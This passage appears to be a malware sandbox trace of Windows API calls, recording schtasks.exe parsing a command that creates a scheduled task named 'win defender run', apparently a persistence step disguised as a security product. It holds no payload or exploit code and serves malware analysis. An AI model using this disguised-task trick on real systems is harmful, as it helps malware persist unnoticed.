"\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 1959 start_va = 0x75410000 end_va = 0x7541bfff monitored = 0 entry_point = 0x75413930 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll") Region: id = 1960 start_va = 0x1b0000 end_va = 0x1b0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001b0000" filename = "" Region: id = 1961 start_va = 0x75700000 end_va = 0x75783fff monitored = 0 entry_point = 0x75726220 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\SysWOW64\\clbcatq.dll" (normalized: "c:\\windows\\syswow64\\clbcatq.dll") Region: id = 1962 start_va = 0x1d0000 end_va = 0x1d0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000001d0000" filename = "" Region: id = 1963 start_va = 0x6acf0000 end_va = 0x6ad7bfff monitored = 0 entry_point = 0x6ad2a6c0 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\SysWOW64\\taskschd.dll" (normalized: "c:\\windows\\syswow64\\taskschd.dll") Region: id = 1964 start_va = 0x70500000 end_va = 0x7052cfff monitored = 0 entry_point = 0x70512b00 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\SysWOW64\\xmllite.dll" (normalized: "c:\\windows\\syswow64\\xmllite.dll") Thread: id = 167 os_tid = 0x1348 [0163.532] GetModuleHandleA (lpModuleName=0x0) returned 0x230000 [0163.579] __set_app_type (_Type=0x1) [0163.579] __p__fmode () returned 0x756f4d6c [0163.579] __p__commode () returned 0x756f5b1c [0163.579] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x250840) returned 0x0 [0163.579] __wgetmainargs (in: _Argc=0x25ade0, _Argv=0x25ade4, _Env=0x25ade8, _DoWildCard=0, _StartInfo=0x25adf4 | out: _Argc=0x25ade0, _Argv=0x25ade4, _Env=0x25ade8) returned 0 [0163.580] _onexit (_Func=0x252bc0) returned 0x252bc0 [0163.580] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0163.580] WinSqmIsOptedIn () returned 0x0 [0163.580] GetProcessHeap () returned 0x42e0000 [0163.580] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42e74d8 [0163.580] RtlRestoreLastWin32Error () returned 0x0 [0163.581] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x0, Condition=0x2) returned 0x18 [0163.581] VerSetConditionMask (ConditionMask=0x18, TypeMask=0x80000000, Condition=0x1) returned 0x1b [0163.581] VerSetConditionMask (ConditionMask=0x1b, TypeMask=0x80000000, Condition=0x20) returned 0x1801b [0163.581] RtlVerifyVersionInfo (VersionInfo=0xdf510, TypeMask=0x3, ConditionMask=0x1801b) returned 0x0 [0163.581] GetProcessHeap () returned 0x42e0000 [0163.581] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42e7550 [0163.581] lstrlenW (lpString="") returned 0 [0163.581] GetProcessHeap () returned 0x42e0000 [0163.581] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x2) returned 0x42e0598 [0163.581] GetProcessHeap () returned 0x42e0000 [0163.581] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e6f30 [0163.581] GetProcessHeap () returned 0x42e0000 [0163.581] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42e7580 [0163.581] GetProcessHeap () returned 0x42e0000 [0163.581] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e6cf8 [0163.581] GetProcessHeap () returned 0x42e0000 [0163.581] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e6d18 [0163.581] GetProcessHeap () returned 0x42e0000 [0163.581] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e6d38 [0163.581] GetProcessHeap () returned 0x42e0000 [0163.581] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e6928 [0163.581] GetProcessHeap () returned 0x42e0000 [0163.581] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42e7538 [0163.581] GetProcessHeap () returned 0x42e0000 [0163.581] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e6948 [0163.581] GetProcessHeap () returned 0x42e0000 [0163.582] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e6968 [0163.582] GetProcessHeap () returned 0x42e0000 [0163.582] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e66c0 [0163.582] GetProcessHeap () returned 0x42e0000 [0163.582] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e66e0 [0163.582] GetProcessHeap () returned 0x42e0000 [0163.582] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42e74a8 [0163.582] GetProcessHeap () returned 0x42e0000 [0163.582] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e6700 [0163.582] GetProcessHeap () returned 0x42e0000 [0163.582] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e2868 [0163.582] GetProcessHeap () returned 0x42e0000 [0163.582] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e2888 [0163.582] GetProcessHeap () returned 0x42e0000 [0163.582] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e28a8 [0163.582] SetThreadUILanguage (LangId=0x0) returned 0x409 [0163.587] RtlRestoreLastWin32Error () returned 0x0 [0163.587] GetProcessHeap () returned 0x42e0000 [0163.587] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9630 [0163.587] GetProcessHeap () returned 0x42e0000 [0163.587] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9450 [0163.587] GetProcessHeap () returned 0x42e0000 [0163.587] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9650 [0163.587] GetProcessHeap () returned 0x42e0000 [0163.587] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e96f0 [0163.587] GetProcessHeap () returned 0x42e0000 [0163.587] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9610 [0163.587] GetProcessHeap () returned 0x42e0000 [0163.587] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42e7568 [0163.588] _memicmp (_Buf1=0x42e7568, _Buf2=0x232708, _Size=0x7) returned 0 [0163.588] GetProcessHeap () returned 0x42e0000 [0163.588] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x208) returned 0x42e8dc8 [0163.588] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x42e8dc8, nSize=0x104 | out: lpFilename="C:\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe")) returned 0x20 [0163.588] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", lpdwHandle=0xdf61c | out: lpdwHandle=0xdf61c) returned 0x76c [0163.590] GetProcessHeap () returned 0x42e0000 [0163.590] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x776) returned 0x42ea058 [0163.590] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\SysWOW64\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x42ea058 | out: lpData=0x42ea058) returned 1 [0163.591] VerQueryValueW (in: pBlock=0x42ea058, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xdf624, puLen=0xdf628 | out: lplpBuffer=0xdf624*=0x42ea408, puLen=0xdf628) returned 1 [0163.593] _memicmp (_Buf1=0x42e7568, _Buf2=0x232708, _Size=0x7) returned 0 [0163.593] _vsnwprintf (in: _Buffer=0x42e8dc8, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xdf608 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0163.593] VerQueryValueW (in: pBlock=0x42ea058, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xdf634, puLen=0xdf630 | out: lplpBuffer=0xdf634*=0x42ea238, puLen=0xdf630) returned 1 [0163.594] lstrlenW (lpString="schtasks.exe") returned 12 [0163.594] lstrlenW (lpString="schtasks.exe") returned 12 [0163.594] lstrlenW (lpString=".EXE") returned 4 [0163.594] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0163.595] lstrlenW (lpString="schtasks.exe") returned 12 [0163.595] lstrlenW (lpString=".EXE") returned 4 [0163.595] _memicmp (_Buf1=0x42e7568, _Buf2=0x232708, _Size=0x7) returned 0 [0163.595] lstrlenW (lpString="schtasks") returned 8 [0163.595] GetProcessHeap () returned 0x42e0000 [0163.595] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e95f0 [0163.595] GetProcessHeap () returned 0x42e0000 [0163.595] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9670 [0163.595] GetProcessHeap () returned 0x42e0000 [0163.595] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e95b0 [0163.595] GetProcessHeap () returned 0x42e0000 [0163.595] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9470 [0163.595] GetProcessHeap () returned 0x42e0000 [0163.595] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42e7400 [0163.595] _memicmp (_Buf1=0x42e7400, _Buf2=0x232708, _Size=0x7) returned 0 [0163.595] GetProcessHeap () returned 0x42e0000 [0163.595] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0xa0) returned 0x42e8fd8 [0163.595] GetProcessHeap () returned 0x42e0000 [0163.595] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9570 [0163.596] GetProcessHeap () returned 0x42e0000 [0163.596] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e9490 [0163.596] GetProcessHeap () returned 0x42e0000 [0163.596] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e94b0 [0163.596] GetProcessHeap () returned 0x42e0000 [0163.596] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42e7418 [0163.596] _memicmp (_Buf1=0x42e7418, _Buf2=0x232708, _Size=0x7) returned 0 [0163.596] GetProcessHeap () returned 0x42e0000 [0163.596] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x200) returned 0x42ea908 [0163.596] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x42ea908, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0163.596] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0163.596] GetProcessHeap () returned 0x42e0000 [0163.596] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x30) returned 0x42e2670 [0163.596] _vsnwprintf (in: _Buffer=0x42e8fd8, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xdf60c | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0163.596] GetProcessHeap () returned 0x42e0000 [0163.596] GetProcessHeap () returned 0x42e0000 [0163.597] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42ea058) returned 1 [0163.597] GetProcessHeap () returned 0x42e0000 [0163.597] RtlSizeHeap (HeapHandle=0x42e0000, Flags=0x0, MemoryPointer=0x42ea058) returned 0x776 [0163.597] RtlFreeHeap (HeapHandle=0x42e0000, Flags=0x0, BaseAddress=0x42ea058) returned 1 [0163.597] RtlRestoreLastWin32Error () returned 0x0 [0163.597] GetThreadLocale () returned 0x409 [0163.597] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.598] lstrlenW (lpString="?") returned 1 [0163.598] GetThreadLocale () returned 0x409 [0163.598] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.598] lstrlenW (lpString="create") returned 6 [0163.598] GetThreadLocale () returned 0x409 [0163.598] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.598] lstrlenW (lpString="delete") returned 6 [0163.598] GetThreadLocale () returned 0x409 [0163.598] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.598] lstrlenW (lpString="query") returned 5 [0163.598] GetThreadLocale () returned 0x409 [0163.598] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.598] lstrlenW (lpString="change") returned 6 [0163.598] GetThreadLocale () returned 0x409 [0163.598] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.598] lstrlenW (lpString="run") returned 3 [0163.598] GetThreadLocale () returned 0x409 [0163.598] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.598] lstrlenW (lpString="end") returned 3 [0163.598] GetThreadLocale () returned 0x409 [0163.598] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.598] lstrlenW (lpString="showsid") returned 7 [0163.598] GetThreadLocale () returned 0x409 [0163.598] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0163.599] RtlRestoreLastWin32Error () returned 0x0 [0163.599] RtlRestoreLastWin32Error () returned 0x0 [0163.599] lstrlenW (lpString="/create") returned 7 [0163.599] lstrlenW (lpString="-/") returned 2 [0163.599] StrChrIW (lpStart="-/", wMatch=0x47f002f) returned="/" [0163.599] lstrlenW (lpString="?") returned 1 [0163.599] lstrlenW (lpString="?") returned 1 [0163.599] GetProcessHeap () returned 0x42e0000 [0163.599] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42e74c0 [0163.599] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.599] GetProcessHeap () returned 0x42e0000 [0163.599] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0xa) returned 0x42e7430 [0163.599] lstrlenW (lpString="create") returned 6 [0163.599] GetProcessHeap () returned 0x42e0000 [0163.599] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x10) returned 0x42e7520 [0163.599] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.599] GetProcessHeap () returned 0x42e0000 [0163.599] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e97b0 [0163.599] _vsnwprintf (in: _Buffer=0x42e7430, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|?|") returned 3 [0163.599] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|create|") returned 8 [0163.599] lstrlenW (lpString="|?|") returned 3 [0163.599] lstrlenW (lpString="|create|") returned 8 [0163.599] RtlRestoreLastWin32Error () returned 0x490 [0163.599] lstrlenW (lpString="create") returned 6 [0163.600] lstrlenW (lpString="create") returned 6 [0163.600] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.600] GetProcessHeap () returned 0x42e0000 [0163.600] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e7430) returned 1 [0163.600] GetProcessHeap () returned 0x42e0000 [0163.600] RtlReAllocateHeap (Heap=0x42e0000, Flags=0xc, Ptr=0x42e7430, Size=0x14) returned 0x42e9690 [0163.600] lstrlenW (lpString="create") returned 6 [0163.600] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.600] _vsnwprintf (in: _Buffer=0x42e9690, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|create|") returned 8 [0163.600] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|create|") returned 8 [0163.600] lstrlenW (lpString="|create|") returned 8 [0163.600] lstrlenW (lpString="|create|") returned 8 [0163.600] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0163.600] RtlRestoreLastWin32Error () returned 0x0 [0163.600] RtlRestoreLastWin32Error () returned 0x0 [0163.600] RtlRestoreLastWin32Error () returned 0x0 [0163.600] lstrlenW (lpString="/tn") returned 3 [0163.600] lstrlenW (lpString="-/") returned 2 [0163.600] StrChrIW (lpStart="-/", wMatch=0x47f002f) returned="/" [0163.600] lstrlenW (lpString="?") returned 1 [0163.600] lstrlenW (lpString="?") returned 1 [0163.600] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.601] lstrlenW (lpString="tn") returned 2 [0163.601] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.601] _vsnwprintf (in: _Buffer=0x42e9690, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|?|") returned 3 [0163.601] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tn|") returned 4 [0163.601] lstrlenW (lpString="|?|") returned 3 [0163.601] lstrlenW (lpString="|tn|") returned 4 [0163.601] RtlRestoreLastWin32Error () returned 0x490 [0163.601] lstrlenW (lpString="create") returned 6 [0163.601] lstrlenW (lpString="create") returned 6 [0163.601] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.601] lstrlenW (lpString="tn") returned 2 [0163.601] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.601] _vsnwprintf (in: _Buffer=0x42e9690, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|create|") returned 8 [0163.601] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tn|") returned 4 [0163.601] lstrlenW (lpString="|create|") returned 8 [0163.601] lstrlenW (lpString="|tn|") returned 4 [0163.601] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0163.601] RtlRestoreLastWin32Error () returned 0x490 [0163.601] lstrlenW (lpString="delete") returned 6 [0163.601] lstrlenW (lpString="delete") returned 6 [0163.601] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.602] lstrlenW (lpString="tn") returned 2 [0163.602] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.602] _vsnwprintf (in: _Buffer=0x42e9690, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|delete|") returned 8 [0163.602] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tn|") returned 4 [0163.602] lstrlenW (lpString="|delete|") returned 8 [0163.602] lstrlenW (lpString="|tn|") returned 4 [0163.602] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0163.602] RtlRestoreLastWin32Error () returned 0x490 [0163.602] lstrlenW (lpString="query") returned 5 [0163.602] lstrlenW (lpString="query") returned 5 [0163.602] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.602] lstrlenW (lpString="tn") returned 2 [0163.602] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.602] _vsnwprintf (in: _Buffer=0x42e9690, _BufferCount=0x8, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|query|") returned 7 [0163.602] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tn|") returned 4 [0163.602] lstrlenW (lpString="|query|") returned 7 [0163.602] lstrlenW (lpString="|tn|") returned 4 [0163.602] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0163.602] RtlRestoreLastWin32Error () returned 0x490 [0163.602] lstrlenW (lpString="change") returned 6 [0163.602] lstrlenW (lpString="change") returned 6 [0163.602] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.603] lstrlenW (lpString="tn") returned 2 [0163.603] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.603] _vsnwprintf (in: _Buffer=0x42e9690, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|change|") returned 8 [0163.603] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tn|") returned 4 [0163.603] lstrlenW (lpString="|change|") returned 8 [0163.603] lstrlenW (lpString="|tn|") returned 4 [0163.603] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0163.603] RtlRestoreLastWin32Error () returned 0x490 [0163.603] lstrlenW (lpString="run") returned 3 [0163.603] lstrlenW (lpString="run") returned 3 [0163.603] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.603] lstrlenW (lpString="tn") returned 2 [0163.603] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.603] _vsnwprintf (in: _Buffer=0x42e9690, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|run|") returned 5 [0163.603] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tn|") returned 4 [0163.603] lstrlenW (lpString="|run|") returned 5 [0163.603] lstrlenW (lpString="|tn|") returned 4 [0163.603] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0163.603] RtlRestoreLastWin32Error () returned 0x490 [0163.603] lstrlenW (lpString="end") returned 3 [0163.603] lstrlenW (lpString="end") returned 3 [0163.603] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.603] lstrlenW (lpString="tn") returned 2 [0163.604] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.604] _vsnwprintf (in: _Buffer=0x42e9690, _BufferCount=0x6, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|end|") returned 5 [0163.604] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tn|") returned 4 [0163.604] lstrlenW (lpString="|end|") returned 5 [0163.604] lstrlenW (lpString="|tn|") returned 4 [0163.604] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0163.604] RtlRestoreLastWin32Error () returned 0x490 [0163.604] lstrlenW (lpString="showsid") returned 7 [0163.604] lstrlenW (lpString="showsid") returned 7 [0163.604] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.604] GetProcessHeap () returned 0x42e0000 [0163.604] HeapValidate (hHeap=0x42e0000, dwFlags=0x0, lpMem=0x42e9690) returned 1 [0163.604] GetProcessHeap () returned 0x42e0000 [0163.604] RtlReAllocateHeap (Heap=0x42e0000, Flags=0xc, Ptr=0x42e9690, Size=0x16) returned 0x42e9510 [0163.604] lstrlenW (lpString="tn") returned 2 [0163.604] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.604] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0xa, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|showsid|") returned 9 [0163.604] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|tn|") returned 4 [0163.604] lstrlenW (lpString="|showsid|") returned 9 [0163.604] lstrlenW (lpString="|tn|") returned 4 [0163.604] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0163.604] RtlRestoreLastWin32Error () returned 0x490 [0163.604] RtlRestoreLastWin32Error () returned 0x490 [0163.604] RtlRestoreLastWin32Error () returned 0x0 [0163.604] lstrlenW (lpString="/tn") returned 3 [0163.604] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0163.605] RtlRestoreLastWin32Error () returned 0x490 [0163.605] RtlRestoreLastWin32Error () returned 0x0 [0163.605] lstrlenW (lpString="/tn") returned 3 [0163.605] GetProcessHeap () returned 0x42e0000 [0163.605] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x8) returned 0x42e6d58 [0163.605] GetProcessHeap () returned 0x42e0000 [0163.605] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e96d0 [0163.605] RtlRestoreLastWin32Error () returned 0x0 [0163.605] RtlRestoreLastWin32Error () returned 0x0 [0163.605] lstrlenW (lpString="win defender run") returned 16 [0163.605] lstrlenW (lpString="-/") returned 2 [0163.605] StrChrIW (lpStart="-/", wMatch=0x47f0077) returned 0x0 [0163.605] RtlRestoreLastWin32Error () returned 0x490 [0163.605] RtlRestoreLastWin32Error () returned 0x490 [0163.605] RtlRestoreLastWin32Error () returned 0x0 [0163.605] lstrlenW (lpString="win defender run") returned 16 [0163.605] StrChrIW (lpStart="win defender run", wMatch=0x3a) returned 0x0 [0163.605] RtlRestoreLastWin32Error () returned 0x490 [0163.605] RtlRestoreLastWin32Error () returned 0x0 [0163.605] lstrlenW (lpString="win defender run") returned 16 [0163.605] GetProcessHeap () returned 0x42e0000 [0163.605] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x22) returned 0x42e9080 [0163.605] GetProcessHeap () returned 0x42e0000 [0163.605] RtlAllocateHeap (HeapHandle=0x42e0000, Flags=0xc, Size=0x14) returned 0x42e94d0 [0163.605] RtlRestoreLastWin32Error () returned 0x0 [0163.605] RtlRestoreLastWin32Error () returned 0x0 [0163.605] lstrlenW (lpString="/sc") returned 3 [0163.605] lstrlenW (lpString="-/") returned 2 [0163.605] StrChrIW (lpStart="-/", wMatch=0x47f002f) returned="/" [0163.606] lstrlenW (lpString="?") returned 1 [0163.606] lstrlenW (lpString="?") returned 1 [0163.606] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.606] lstrlenW (lpString="sc") returned 2 [0163.606] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.606] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x4, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|?|") returned 3 [0163.606] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|sc|") returned 4 [0163.606] lstrlenW (lpString="|?|") returned 3 [0163.606] lstrlenW (lpString="|sc|") returned 4 [0163.606] RtlRestoreLastWin32Error () returned 0x490 [0163.606] lstrlenW (lpString="create") returned 6 [0163.606] lstrlenW (lpString="create") returned 6 [0163.606] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.606] lstrlenW (lpString="sc") returned 2 [0163.606] _memicmp (_Buf1=0x42e7520, _Buf2=0x232708, _Size=0x7) returned 0 [0163.606] _vsnwprintf (in: _Buffer=0x42e9510, _BufferCount=0x9, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|create|") returned 8 [0163.606] _vsnwprintf (in: _Buffer=0x42e97b0, _BufferCount=0x5, _Format="|%s|", _ArgList=0xdf5f8 | out: _Buffer="|sc|") returned 4 [0163.606] lstrlenW (lpString="|create|") returned 8 [0163.606] lstrlenW (lpString="|sc|") returned 4 [0163.606] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0163.606] RtlRestoreLastWin32Error () returned 0x490 [0163.606] lstrlenW (lpString="delete") returned 6 [0163.606] lstrlenW (lpString="delete") returned 6 [0163.606] _memicmp (_Buf1=0x42e74c0, _Buf2=0x232708, _Size=0x7) returned 0 [0163.607] lstrlenW (lpString="sc") returned 2 